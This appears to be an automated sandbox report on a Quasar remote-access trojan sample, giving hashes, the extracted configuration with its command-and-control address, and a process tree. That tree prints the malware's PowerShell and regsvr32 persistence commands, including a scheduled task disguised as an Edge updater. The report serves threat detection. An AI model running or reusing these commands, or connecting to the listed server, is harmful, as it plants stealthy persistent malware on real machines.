quasar | c27d4855b7f3649b8f12ef2b55ea2db28328c9b0a5bfe7724a6d2efb4fecfa8a

Analysis

max time kernel
141s
max time network
143s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
31-01-2025 08:48

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General

Target

BILLI.exe
Size

3.5MB
MD5

0f8d3f0739a8356c4703d9afcf3c9e9e
SHA1

a188aab63cc7f889b17be4062c8f3ad9733f877e
SHA256

c27d4855b7f3649b8f12ef2b55ea2db28328c9b0a5bfe7724a6d2efb4fecfa8a
SHA512

42b007929164546ebf4278a4d9d1945be70be19181c7cb1be7e1c5ec3d7f43ff942a6d59e570612543bd5a8d87e763375d61c70548c9f2fb7a87da607b0987e1
SSDEEP

98304:mIELk8TSeoFjXY04O4ofnyzCiygp6R3op7ScQoijW9vICaOJF:J25CFc4jfny21+pfQoHP7

Score

10^/10

quasar billi discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

BILLI

147.45.44.68:4782

Mutex

677eac75-4a16-45d2-8af0-7cc6e5e6d262

Attributes

encryption_key
04207FE1D5AAE79F92E5E13CC9126DCA530C7527
install_name
win32_svchost1.exe
log_directory
Logs
reconnect_delay
3000
startup_key
win32_svchost
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/2656-72-0x000000001BA10000-0x000000001BD34000-memory.dmp	family_quasar

Executes dropped EXE 2 IoCs

pid	Process
920	BILLI.tmp
2752	BILLI.tmp

Loads dropped DLL 10 IoCs

pid	Process
2312	BILLI.exe
920	BILLI.tmp
920	BILLI.tmp
920	BILLI.tmp
2264	BILLI.exe
2752	BILLI.tmp
2752	BILLI.tmp
2752	BILLI.tmp
2680	regsvr32.exe
2656	regsvr32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to execute payload.

execution

PowerShell

T1059.001

pid	Process
1048	powershell.exe
3032	powershell.exe
3032	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BILLI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BILLI.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BILLI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BILLI.tmp

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2752	BILLI.tmp
2752	BILLI.tmp
2656	regsvr32.exe
1048	powershell.exe
3032	powershell.exe
2656	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	2656	regsvr32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2752	BILLI.tmp

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 2312 wrote to memory of 920	2312	BILLI.exe	30
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 920 wrote to memory of 2264	920	BILLI.tmp	31
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2264 wrote to memory of 2752	2264	BILLI.exe	32
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2752 wrote to memory of 2680	2752	BILLI.tmp	33
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2680 wrote to memory of 2656	2680	regsvr32.exe	34
PID 2656 wrote to memory of 1048	2656	regsvr32.exe	35
PID 2656 wrote to memory of 1048	2656	regsvr32.exe	35
PID 2656 wrote to memory of 1048	2656	regsvr32.exe	35
PID 2656 wrote to memory of 3032	2656	regsvr32.exe	37
PID 2656 wrote to memory of 3032	2656	regsvr32.exe	37
PID 2656 wrote to memory of 3032	2656	regsvr32.exe	37

C:\Users\Admin\AppData\Local\Temp\BILLI.exe
"C:\Users\Admin\AppData\Local\Temp\BILLI.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Users\Admin\AppData\Local\Temp\is-NTLJV.tmp\BILLI.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-NTLJV.tmp\BILLI.tmp" /SL5="$40126,3231975,161792,C:\Users\Admin\AppData\Local\Temp\BILLI.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Users\Admin\AppData\Local\Temp\BILLI.exe
    "C:\Users\Admin\AppData\Local\Temp\BILLI.exe" /VERYSILENT
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Users\Admin\AppData\Local\Temp\is-6J1JP.tmp\BILLI.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-6J1JP.tmp\BILLI.tmp" /SL5="$F019E,3231975,161792,C:\Users\Admin\AppData\Local\Temp\BILLI.exe" /VERYSILENT
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2752
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        "regsvr32.exe" /s /i:SYNC "C:\Users\Admin\AppData\Roaming\\secur32_2.drv"
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2680
      - C:\Windows\system32\regsvr32.exe
        
        /s /i:SYNC "C:\Users\Admin\AppData\Roaming\\secur32_2.drv"
        6⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\Admin\AppData\Roaming\secur32_2.drv' }) { exit 0 } else { exit 1 }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\Admin\AppData\Roaming\secur32_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{BC452562-088F-41CC-F91D-C445EF7BC61E}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0f02eca4cee68a39cfe160f5ae9a8bb8

SHA1
1265d97b1addc488a9a75a9a7fc253092469a0f7

SHA256
127673f1f6470b29e5fc29ad3e5b840a25e7575a236a4f1816228846427e4a7f

SHA512
a05c50054312dca6d1b6817f7f901c342dc1c967d9d53ec64ba4b07f885a5c037998b1afb73aeb2b2bc5ef3ba010d27c83827097c15a3cc20db1ab7fc8db738c

Download Submit
C:\Users\Admin\AppData\Roaming\secur32_2.drv

Filesize
6.1MB

MD5
316d97012c2d8d7c3f9534db4f7f26ad

SHA1
aac9f988d07b470f8c365d2a1db3c0b89023b1be

SHA256
ed16d8f5f7de597c33ccc1b89e24d18664997cebca8babf24228a0386f723a6d

SHA512
e7d7c2f03a0af4cc8023ec96a06de8b52de931d478f35747093f8e674a26de84cf0747b9fca255f288eeb4c505da2a2dbc01bbd9c4f2d68af9ec5659df23e7f8

Download Submit
\Users\Admin\AppData\Local\Temp\is-7EMOL.tmp\_isetup\_isdecmp.dll

Filesize
13KB

MD5
a813d18268affd4763dde940246dc7e5

SHA1
c7366e1fd925c17cc6068001bd38eaef5b42852f

SHA256
e19781aabe466dd8779cb9c8fa41bbb73375447066bb34e876cf388a6ed63c64

SHA512
b310ed4cd2e94381c00a6a370fcb7cc867ebe425d705b69caaaaffdafbab91f72d357966916053e72e68ecf712f2af7585500c58bb53ec3e1d539179fcb45fb4

Download Submit
\Users\Admin\AppData\Local\Temp\is-7EMOL.tmp\_isetup\_shfoldr.dll

Filesize
22KB

MD5
92dc6ef532fbb4a5c3201469a5b5eb63

SHA1
3e89ff837147c16b4e41c30d6c796374e0b8e62c

SHA256
9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87

SHA512
9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

Download Submit
\Users\Admin\AppData\Local\Temp\is-NTLJV.tmp\BILLI.tmp

Filesize
1.1MB

MD5
bcc236a3921e1388596a42b05686ff5e

SHA1
43bffbbac6a1bf5f1fa21e971e06e6f1d0af9263

SHA256
43a656bcd060e8a36502ca2deb878d56a99078f13d3e57dcd73a87128588c9e9

SHA512
e3baaf1a8f4eb0e1ab57a1fb35bc7ded476606b65fafb09835d34705d8c661819c3cfa0ecc43c5a0d0085fd570df581438de27944e054e12c09a6933bbf5ce04

Download Submit
memory/920-8-0x0000000000400000-0x000000000052D000-memory.dmp

Filesize
1.2MB

Download
memory/920-24-0x0000000000400000-0x000000000052D000-memory.dmp

Filesize
1.2MB

Download
memory/1048-62-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/1048-61-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2264-53-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2264-25-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2264-21-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2312-28-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2312-2-0x0000000000401000-0x0000000000417000-memory.dmp

Filesize
88KB

Download
memory/2312-0-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2656-72-0x000000001BA10000-0x000000001BD34000-memory.dmp

Filesize
3.1MB

Download
memory/2656-73-0x000007FEF5C30000-0x000007FEF623A000-memory.dmp

Filesize
6.0MB

Download
memory/2752-51-0x0000000000400000-0x000000000052D000-memory.dmp

Filesize
1.2MB

Download
memory/3032-69-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/3032-70-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download